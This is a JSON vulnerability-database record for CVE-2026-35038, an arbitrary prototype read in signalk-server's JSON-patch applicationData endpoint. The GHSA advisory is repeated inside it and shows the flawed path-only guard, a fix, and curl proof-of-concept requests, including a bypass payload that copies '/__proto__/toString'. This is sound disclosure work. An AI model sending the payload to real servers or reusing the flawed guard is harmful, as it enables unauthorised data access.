{"id":"CVE-2026-35038","aliases":["EUVD-2026-18396","GHSA-qh3j-mrg8-f234"],"status":"published","title":"signalk-server: Arbitrary Prototype Read via `from` Field Bypass","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, there is an arbitrary prototype read vulnerability via `from` field bypass. This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. This issue has been patched in version 2.24.0.","severity":{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00314,"percentile":0.24671,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125","CWE-20","CWE-200"],"published":"2026-04-02T16:20:17Z","modified":"2026-10-28T02:30:21Z","fixes":[{"ecosystem":"npm","package":"signalk-server","fixed_in":["2.24.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"signalk-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.24.0"}]}]},{"source":"osv","ecosystem":"npm","package":"signalk-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.24.0"}]}]}],"products":[{"vendor":"signalk","product":"signal_k_server"},{"vendor":"signalk","product":"signalk-server"}],"references":[{"url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-qh3j-mrg8-f234","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SignalK/signalk-server/releases/tag/v2.24.0","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35038","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qh3j-mrg8-f234"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35038.json","tags":["advisory"]},{"url":"https://github.com/SignalK/signalk-server","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-35038","title":"signalk-server: Arbitrary Prototype Read via `from` Field Bypass","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, there is an arbitrary prototype read vulnerability via `from` field bypass. This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. This issue has been patched in version 2.24.0.","status":"published","published":"2026-04-02T16:20:17.75Z","modified":"2026-04-02T18:46:36.895Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low","assessor":"cna"}],"cwes":["CWE-20","CWE-125","CWE-200"],"updated_at":"2026-11-02T14:20:05.15083Z"}],"euvd":[{"id":"EUVD-2026-18396","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, there is an arbitrary prototype read vulnerability via `from` field bypass. This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. This issue has been patched in version 2.24.0.","status":"published","published":"2026-04-02T16:20:17Z","modified":"2026-04-02T18:46:36Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"updated_at":"2026-11-02T19:25:17.32175Z"}],"ghsa":[{"id":"GHSA-qh3j-mrg8-f234","title":"Signal K Server: Arbitrary Prototype Read via `from` Field Bypass","description":"## Summary \n\nThe /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.\n\nWhile this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.\n\n## Vulnerability Root Cause \n\nFile: src/interfaces/applicationData.js (Lines 48-57)\n```\nconst DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']\n\nfunction isPrototypePollutionPath(pathString) {\n  const segments = pathString.split(/[./]/)\n  return segments.some((seg) =\u003e DANGEROUS_PATH_SEGMENTS.includes(seg))\n}\n\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from\n    (patch) =\u003e patch.path \u0026\u0026 isPrototypePollutionPath(patch.path) \n  )\n}\n```\nAt Line 201:\n```\nif (hasPrototypePollutionPatch(req.body)) {\n  res.status(400).send('invalid patch path')\n  return\n}\njsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'\n\n```\n## Proof of Concept (PoC)\n\nVerify the Developer Guard Works (The Blocked Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"add\", \"path\": \"/__proto__/polluted\", \"value\": \"hacked\"}]'\n```\nResult: 400 Bad Request - invalid patch path\n\nExecute the Bypass (The Malicious Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"copy\", \"from\": \"/__proto__/toString\", \"path\": \"/stolen\"}]'\n```\nResult: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.\n\n\u003cimg width=\"1222\" height=\"230\" alt=\"Screenshot 2026-03-24 150440\" src=\"https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6\" /\u003e\n\n## Security Impact\nThis vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.\n\n## Fixing Arbitrary Prototype Read\n\nThe hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:\n```\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    (patch) =\u003e \n      (patch.path \u0026\u0026 isPrototypePollutionPath(patch.path)) ||\n      (patch.from \u0026\u0026 isPrototypePollutionPath(patch.from))\n  )\n}\n```","status":"published","published":"2026-04-03T04:04:22Z","modified":"2026-04-03T04:04:23Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-20","CWE-125","CWE-200"],"updated_at":"2026-11-02T14:39:47.945242Z"}],"nvd":[{"id":"CVE-2026-35038","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, there is an arbitrary prototype read vulnerability via `from` field bypass. This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. This issue has been patched in version 2.24.0.","status":"published","published":"2026-04-02T17:16:27.163Z","modified":"2026-07-21T19:10:00.107Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-20","CWE-125","CWE-200"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-35038","title":"signalk-server: Arbitrary Prototype Read via `from` Field Bypass","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, there is an arbitrary prototype read vulnerability via `from` field bypass. This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. This issue has been patched in version 2.24.0.","status":"published","published":"2026-04-02T16:20:17.75Z","modified":"2026-10-28T02:30:21.051591897Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-125","CWE-20","CWE-200"],"updated_at":"2026-11-02T15:45:02.673625Z"},{"id":"GHSA-qh3j-mrg8-f234","title":"Signal K Server: Arbitrary Prototype Read via `from` Field Bypass","description":"## Summary \n\nThe /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.\n\nWhile this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.\n\n## Vulnerability Root Cause \n\nFile: src/interfaces/applicationData.js (Lines 48-57)\n```\nconst DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']\n\nfunction isPrototypePollutionPath(pathString) {\n  const segments = pathString.split(/[./]/)\n  return segments.some((seg) =\u003e DANGEROUS_PATH_SEGMENTS.includes(seg))\n}\n\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from\n    (patch) =\u003e patch.path \u0026\u0026 isPrototypePollutionPath(patch.path) \n  )\n}\n```\nAt Line 201:\n```\nif (hasPrototypePollutionPatch(req.body)) {\n  res.status(400).send('invalid patch path')\n  return\n}\njsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'\n\n```\n## Proof of Concept (PoC)\n\nVerify the Developer Guard Works (The Blocked Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"add\", \"path\": \"/__proto__/polluted\", \"value\": \"hacked\"}]'\n```\nResult: 400 Bad Request - invalid patch path\n\nExecute the Bypass (The Malicious Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"copy\", \"from\": \"/__proto__/toString\", \"path\": \"/stolen\"}]'\n```\nResult: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.\n\n\u003cimg width=\"1222\" height=\"230\" alt=\"Screenshot 2026-03-24 150440\" src=\"https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6\" /\u003e\n\n## Security Impact\nThis vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.\n\n## Fixing Arbitrary Prototype Read\n\nThe hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:\n```\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    (patch) =\u003e \n      (patch.path \u0026\u0026 isPrototypePollutionPath(patch.path)) ||\n      (patch.from \u0026\u0026 isPrototypePollutionPath(patch.from))\n  )\n}\n```","status":"published","published":"2026-04-03T04:04:22Z","modified":"2026-04-03T04:26:26.749154Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-125","CWE-20","CWE-200"],"updated_at":"2026-11-02T15:46:54.40888Z"}]}}